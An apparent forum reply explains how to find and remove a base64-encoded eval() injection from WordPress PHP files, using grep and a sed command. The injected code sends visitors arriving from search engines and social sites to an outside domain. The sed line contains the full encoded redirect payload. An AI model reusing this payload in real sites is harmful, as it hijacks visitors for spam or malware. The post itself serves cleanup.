    It’s probably on more than one file, it’s probably on all php files in the directory. With shell access:

    cd /path/to/wordpress/install/
grep -r base64 ./*

    If you see something like the following, then it’s redirecting:
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbm..."));

    This above is the shortened encoded code. The output of the code is actually:

    [Code moderated>]

    The site will respond normally if you hit it directly. If it comes from one of the referers (google, yahoo, myspace, facebook, etc) it’ll be redirected to the costabrava-dot-bee-dot-pl web site.

    Getting rid of the code:
    sed -i 's/eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw\/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));//g' ./*.php

    Be very careful with the above. Don’t adjust it if you are lost/uncertain. In which case, it may be easier to restore from backup.

    Afterwords, spend some time hardening the site with the links above. Especially checking extensions.

    HTH
